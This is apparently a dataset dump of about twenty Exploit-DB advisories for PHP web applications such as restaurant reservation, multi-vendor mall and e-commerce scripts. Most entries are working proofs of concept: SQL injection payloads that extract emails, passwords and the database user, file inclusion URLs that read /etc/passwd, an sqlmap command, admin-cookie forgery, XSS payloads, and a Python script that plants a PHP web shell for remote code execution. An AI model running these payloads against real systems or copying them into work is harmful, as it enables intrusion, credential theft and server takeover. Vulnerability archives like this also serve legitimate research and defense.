deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48984
Description: Multi Restaurant Table Reservation System 1.0 - 'table_id' Unauthenticated SQL Injection
Type: webapps
Platform: php
Date: 2020-11-03
Author: yunaranyancat

Exploit:
# Title: Multi Restaurant Table Reservation System 1.0 - 'table_id' Unauthenticated SQL Injection
# Exploit Author: yunaranyancat
# Date: 02-11-2020
# Vendor Homepage: www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip
# Version: 1.0
# Tested On: Ubuntu 18.04 + XAMPP

# Description

The file view-chair-list.php does not perform input validation on the table_id parameter which allows unauthenticated SQL Injection.
An attacker can send malicious input in the GET request to /dashboard/view-chair-list.php?table_id= to trigger the vulnerability.

# POC N°1 = Time based blind SQLi

GET /TableReservation/dashboard/view-chair-list.php?table_id='+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)--+- HTTP/1.1
Host: [TARGET IP/URL]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

### Server will sleep for 10 seconds before returning the response

# POC N° 2 = UNION based SQLi

### Request (getting current user)

GET /TableReservation/dashboard/view-chair-list.php?table_id=%27%20UNION%20ALL%20SELECT%20CONCAT%280x[PII_REDACTED]%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20NCHAR%29%2C0x20%29%2C0x71716b7071%29%2CNULL%2CNULL--%20- HTTP/1.1
Host: [TARGET IP/URL]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 2

### Response

...
<td class="center hidden-phone">
<a href="delete-chair.php?chair_id=[REDACTED]root@localhost[REDACTED] class="btn btn-danger"  onclick="if (!Done()) return false; ">Delete Chair</a>
...
Exploit-DB #7335
Description: Multi SEO phpBB 1.1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-12-03
Author: NoGe

Exploit:
==========================================================================


  [o] Multi SEO phpBB 1.1.0 Remote File Inclusion Vulnerability

       Software : Multi SEO phpBB version 1.1.0

       Vendor   : http://www.phpbb-seo.de/

       Download : http://www.phpbb-seo.de/downloads/multi.html

       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


==========================================================================


  [o] Vulnerable file


       include/global.php


        include_once ($pfad . 'include/config.php');



  [o] Exploit

       http://localhost/[path]/include/global.php?pfad=[evilcode]


==========================================================================


  [o] Greetz

       MainHack BrotherHood [ http://mainhack.com/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11 martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

       GANYANG MALINGSIAL!!! [ http://malingsial.serverisdown.org/ ]

        
==========================================================================

# milw0rm.com [2008-12-03]
Exploit-DB #12755
Description: Multi Vendor Mall - 'itemdetail.php?& shop.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-26
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------

Multi Vendor Mall (itemdetail.php & shop.php) SQL Injection Vulnerability

-------------------------------------------------------------------------------------------

Author: CoBRa_21

Script Home: http://www.multishopcms.com

Dork: pages.php?id= "Multi Vendor Mall"

-------------------------------------------------------------------------------------------

Sql Injection:

http://localhost/[path]/itemdetail.php?itemid=-39 union select 0,1,2,3,4,5,group_concat(EMAIL,0x3a3a,PASSWORD,0x3c62723e),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+members_tbl--


http://localhost/[path]/shop.php?storeid=77 and 1=2
http://localhost/[path]/shop.php?storeid=77 and 1=1
-------------------------------------------------------------------------------------------
Exploit-DB #12748
Description: Multi Vendor Mall - 'pages.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-26
Author: Newbie_Campuz

Exploit:
============================================================
Multi Vendor Mall  (pages.php) SQL Injection Vulnerability
============================================================


#################################################################################################

[+] Multi Vendor Mall (pages.php) SQL Injection Vulnerability

[+] By Newbie_Campuz

[+] Published: 2010-05-24 Pukul 22.00 WIB

[+] jatimcrew.org/

##################################################################################################

# Script Homepage:
# http://www.multishopcms.com

[+]Dork: pages.php?id= "Multi Vendor Mall"

[+] SQL Injection


	http://[target]/[path]/pages.php?id=[SQL]

	http://[target]/[path]/pages.php?id=-9999+union+select+group_concat(EMAIL,0x3a3a,PASSWORD,0x3c62723e)+from+members_tbl--


Example :

http://[site]/pages.php?id=7+union+select+group_concat(EMAIL,0x3a3a,PASSWORD,0x3c62723e)+from+members_tbl--

##################################################################################################
Thanks to Allah SWT n Nabi Muhammad SAW

Special Thanks to : 	
My Parent, My Brother n My Sister
Byz9991, Doraemon, Bang_Napi, Kenthot_cakep, Bom2, Shamus, Chapzha, Ficarciruas, pheonixhaxor, mywisdom, 
Pr3tty, newbie_043, KidDevilz, Android2009, XcyberX, flyff666, MISTERFRIBO, Osean, Vhacx,jamsh0ut, elfata
cybermuttaqin,k3m4ngi, roentah,zhombhie, techno_x46 and YOU... !!!

All admin, momod, spamguard, staff and member Jatim Crew..
All admin, momod, spamguard, staff and member Indonesianhacker
All admin, momod, spamguard, staff and member xteamweb
All admin, momod, spamguard, staff and member h2ozones
All admin, momod, spamguard, staff and member master-forum
##################################################################################################
Exploit-DB #34632
Description: Multi Website 1.5 - 'search' HTML Injection
Type: webapps
Platform: php
Date: 2009-08-06
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/43245/info

Multi Website is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Multi Website 1.5 is vulnerable; other versions may also be affected.

http://www.example.com/demo/?action=search&search=%27%22%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E%3CMARQUEE+BGCOLOR%3D%22RED%22%3E%3CH1%3EXss%3C%2FH1%3E%3C%2FMARQUEE%3E&gateway=%E4%E3%D8+%C7%E1%C8%CD%CB&by=words
Exploit-DB #9344
Description: Multi Website 1.5 - index PHP action SQL Injection
Type: webapps
Platform: php
Date: 2009-08-03
Author: SarBoT511

Exploit:
> > [+] Bug : Powered by Multi Website 1.5 (index php action) Remote SQL Injection Vulnerability
> >
> > [+] Script home : http://www.multi-website.com
> >
> > [+] Affected versions : 1.5
> >
> > [+] Solution : nothing .;
> > > >
> > > > =======================================================
> > > >
> > > > ==> AuThOr : SarboT511
> > > >
> > > > ==> EmaiL : xs3@hotmail.com
> > > >
> > > > ==> HomE : www.lezr.com
> > > >
> > > > ==> DorK : Powered by Multi Website 1.5
> > > >
> > > > ==> Control panel script : http://localhost/[path]/admin/login.php
> > > >
> > > > ========================================================
> > > >
> > > > ==> ExplO!t :
> > > >
> > > > www.target.com/[path]/?action=vote&Browse=-1+union+select+1,@@version--
> > > >=========================================================
> > > > L!VE Demo :
> > > >
> > >  http://www.multi-website.com/demo/?action=vote&Browse=-1+union+select+1,@@version--
> > =============================================================
> > greats to : his0k4 , The g0bL!n , black zero , thirdd_Devil ,devil
> > fucker ,3loosh_al7rbi ,HCj , ALM 511 , all members [ lezr.com ] .#

# milw0rm.com [2009-08-03]
Exploit-DB #30712
Description: Multi-Forums - 'Directory.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-10-25
Author: KiNgOfThEwOrLd

Exploit:
source: https://www.securityfocus.com/bid/26213/info

Multi-Forums is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in SQL queries.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/directory.php?go=-1+union+select+1,concat(name,0x3a,password),3+from+[forum]_members+where+id=[id]
http://www.example.com/directory.php?cat=-1+union+select+1,concat(name,0x3a,password),3+from+[forum]_members+where+id=[id]
Exploit-DB #14835
Description: Multi-lingual E-Commerce System 0.2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-08-29
Author: JosS

Exploit:
Multi-lingual E-Commerce System 0.2 Multiple Remote File Inclusion Vulnerabilities
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- download: http://sourceforge.net/projects/mlecsphp/

- CMS:

 A multi-lingual multi-currency PHP e-commerce system.

~ [RFI]

http://target/path/inc/checkout2-CYM.php?include_path=[shell.txt?]
http://target/path/inc/checkout2-EN.php?include_path=[shell.txt?]
http://target/path/inc/checkout2-FR.php?include_path=[shell.txt?]
http://target/path/inc/cat-FR.php?include_path=[shell.txt?]
http://target/path/inc/cat-EN.php?include_path=[shell.txt?]
http://target/path/inc/cat-CYM.php?include_path=[shell.txt?]
http://target/path/inc/checkout1-CYM.php?include_path=[shell.txt?]
http://target/path/inc/checkout1-EN.php?include_path=[shell.txt?]
http://target/path/inc/checkout1-FR.php?include_path=[shell.txt?]
http://target/path/inc/prod-CYM.php?include_path=[shell.txt?]
http://target/path/inc/prod-EN.php?include_path=[shell.txt?]
http://target/path/inc/prod-FR.php?include_path=[shell.txt?]
[and more] [...]


__h0__
Exploit-DB #8480
Description: multi-lingual E-Commerce system 0.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-04-20
Author: Salvatore Fresta

Exploit:
*******   Salvatore "drosophila" Fresta   *******
 
[+] Application: Multi-lingual E-Commerce System
[+] Version: 0.2
[+] Website: http://sourceforge.net/projects/mlecsphp/
 
[+] Bugs: [A] Local File Inclusion
          [B] Information Disclosure
          [C] Arbitrary File Upload
 
[+] Exploitation: Remote
[+] Date: 19 Apr 2009
 
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com
 
 
*************************************************
 
[+] Menu
 
1) Bugs
2) Code
3) Fix
 
 
*************************************************
 
[+] Bugs
 
 
- [A] Local File Inclusion
 
[-] Risk: hight
[-] File affected: index.php
 
This bug allows a guest to include local files.
The following is the vulnerable code:
 
...
 
if (isset($_GET['lang'])) { $_SESSION['lang'] = $_GET['lang'];}
 
...
 
<?
include($include_path.'/inc/'.$_GET['page'].'-'.$_SESSION['lang'].'.php');
?>
 
...
 
 
- [B] Information Disclosure
 
[-] Risk: medium
[-] File affected: database.inc
 
This file contains reserved informations such as
the username and the password for connecting to
the database. Using .inc extension only, the 
content is visible.
 
- [C] Arbitrary File Upload
 
[-] Risk: medium
[-] File affected: product_image.php
 
In the admin directory there are no files that
check if the user has admin privileges. For this
reason a guest can execute the files contained in
this directory. product_image.php contains a form
that allows to upload files on the system but 
does not contain functions that check the files 
extensions, however a user can upload arbitrary 
files.
 
 
*************************************************
 
[+] Code
 
 
- [A] Local File Inclusion
 
http://www.site.com/path/index.php?page=../../../../../etc/passwd

# milw0rm.com [2009-04-20]
Exploit-DB #12223
Description: Multi-Mirror - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-14
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Multi-Mirror Remote Upload Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                              
| # Web Site : http://www.p30vel.ir/
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Upload                                                                   
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1 - http://127.0.0.1/Multi-Mirror/ (Select Mirrors 2 upload file and select file 2 upload)
 
 2 - http://127.0.0.1/Multi-Mirror/temp_files (After Upload )

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #5630
Description: Multi-Page Comment System 1.1.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-05-15
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+              Multi-Page Comment System 1.1.0 Insecure Cookie Handling          +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 15 MAY
Script Download: http://tpvgames.co.uk/web/mpcs/
DORK: "(Multi-Page Comment System)"



Vendor Has Not Been Notified!




DESCRIPTION: 

Multi-Page Comment System, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.

the below javascript code will create a cookie, after pasting the code into your browser and running
on the affected domain, you can simply visit "/admin.php" and your admin.



Exploit:

javascript:document.cookie = "CommentSystemAdmin=1; path=/";



NOTE/TIP: 

after pasting the above javascript code into your browser you can visit "/admin.php" to see your a admin.

(this just shows how many bad programmers are out there.)



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+              Multi-Page Comment System 1.1.0 Insecure Cookie Handling          +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-15]
Exploit-DB #50739
Description: Multi-Vendor Online Groceries Management System 1.0 - 'id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2022-02-16
Author: Saud Alenazi

Exploit:
# Exploit Title: Multi-Vendor Online Groceries Management System 1.0 - 'id' Blind SQL Injection
# Date: 11/02/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15166/multi-vendor-online-groceries-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Windows 10


# Vulnerable Code

line 2 in file "mvogms/products/view_product.php

$qry = $conn->query("SELECT  p.*, v.shop_name as vendor, c.name as `category` FROM `product_list` p inner join vendor_list v on p.vendor_id = v.id inner join category_list c on p.category_id = c.id where p.delete_flag = 0 and p.id = '{$_GET['id']}'");

# Sqlmap command:

sqlmap -u 'localhost/mvogms/?page=products/view_product&id=3' -p id --level=5 --risk=3 --dbs --random-agent --eta --batch

# Output:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=products/view_product&id=3' AND 9973=9973-- ogag

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=products/view_product&id=3' AND (SELECT 2002 FROM (SELECT(SLEEP(5)))anjK)-- glsQ
Exploit-DB #51394
Description: Multi-Vendor Online Groceries Management System 1.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2023-04-25
Author: Or4nG.M4N

Exploit:
# Exploit Title: Multi-Vendor Online Groceries Management System 1.0 - Remote Code Execution (RCE)
# Date: 4/23/2023
# Author: Or4nG.M4n
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15166/multi-vendor-online-groceries-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: windows
#
# Vuln File : SystemSettings.php < here you can inject php code
# 		if(isset($_POST['content'])){
#			foreach($_POST['content'] as $k => $v)
#			file_put_contents("../{$k}.html",$v); <=== put any code into welcome.html or whatever you want
#		}
# Vuln File : home.php < here you can include and execute you're php code
#                   <h3 class="text-center">Welcome</h3>
#                   <hr>
#                   <div class="welcome-content">
#                       <?php include("welcome.html") ?> <=== include 
#                   </div>

import requests 

url = input("Enter url :")
postdata = {'content[welcome]':'<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'}
resp = requests.post(url+"/classes/SystemSettings.php?f=update_settings", postdata)
print("[+] injection in welcome page")
print("[+]"+url+"/?cmd=ls -al")
print("\n")
Exploit-DB #16074
Description: MultiCMS - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-01-29
Author: R3VAN_BASTARD

Exploit:
Source: http://packetstormsecurity.org/files/view/97987/multicms-lfi.txt

ï»¿=============================www[dot]Whiteponny[dot]com=============================
# Date: 29/01/2011
# Author: R3VAN_BASTARD
# Exploit Title: MultiCMS File Inclusion Vulnerbility
# Vendor: http://www.multicms.net
# Status: FIXED
# Tested on: Windows 7
# Dork: "RedakcnÃ­ systÃ©m MultiCMS"
# Mail: defrontliner@whiteponny.com
================================================================================
# File: /Index.php?lng=[LFI]
# XPL: http://Localhost.com/[path]/index.php?lng=../../../../../../../../../../../../../../../etc/passwd%00
           http://Localhost.com/[path]/index.php?lng=../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf%00 

Enjoy! :D
================================================================================
Thanks To: Madonk "Makasih udah nemenin Scan :D"
                 S3T4N a.k.a Zeth.
                 All My Friends
=============================www[dot]Whiteponny[dot]com=============================
Exploit-DB #41300
Description: Multilanguage Estate Agency Pro 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Multilanguage Estate Agency Pro 1.2 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://djrust26.hu/
# Software Buy: https://codecanyon.net/item/multilanguage-estate-agency-pro-12/14521069
# Demo: http://djrust26.hu/realestate/
# Version: 1.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/property_show.php?id=[SQL]
# # # # #
Exploit-DB #43917
Description: Multilanguage Real Estate MLM Script 3.0 - 'srch' SQL Injection
Type: webapps
Platform: php
Date: 2018-01-28
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Multilanguage Real Estate MLM Script <= 3.0 - SQL Injection
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/y2OP4658391/php-scripts/multilanguage-real-estate-mlm-script
# Version: <= 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/product-list.php?srch=[SQL]
# 
# %73%66%64%27%29%20%20%2f%2a%21%30%38%38%38%38%55%4e%49%4f%4e%2a%2f%28%2f%2a%21%30%38%38%38%38%53%45%4c%45%43%54%2a%2f%20%28%31%29%2c%28%32%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%34%29%29%2d%2d%20%2d
# 
# # # # #
Exploit-DB #44627
Description: Multiplayer BlackJack Online Casino Game 2.5 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-16
Author: L0RD

Exploit:
# Exploit Title: Multiplayer BlackJack - Online Casino Game 2.5 - Persistent Cross-Site scripting
# Date: 2018-05-16
# Exploit Author: L0RD
# Vendor Homepage: https://codecanyon.net/item/multiplayer-blackjack-online-casino-game/15411706?s_rank=1628
# CVE: N/A
# Version: 2.5

# Description : Multiplayer BlackJack - Online Casino Game script has persistent cross site scripting that attacker
#  can set malicious payload into the vulnerable parameter.

# POC :
1) click on the "sit" button in the web page
2) Put this payload into the "name" input and set wallet number :
<script>alert(document.domain)</script>
3) You will get an alert box in the page .